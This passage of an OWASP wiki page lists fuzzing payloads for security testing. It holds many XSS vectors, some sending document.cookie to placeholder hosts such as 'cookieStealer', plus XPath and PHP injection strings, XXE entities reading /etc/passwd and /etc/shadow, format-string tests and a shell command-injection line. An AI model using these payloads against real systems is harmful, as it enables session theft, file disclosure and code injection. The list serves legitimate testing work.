SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt;<br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: 30 July 2007 - Total Statements: 28) ===<br /> &lt;pre&gt;<br /> # Full List<br /> # Format String tests to determine errors in variable handling<br /> # Foobar@email.de<br /> <br /> %s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] [[:User:Adam.muntner|'''Adam Muntner''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=81046 2010-04-06T21:27:00Z

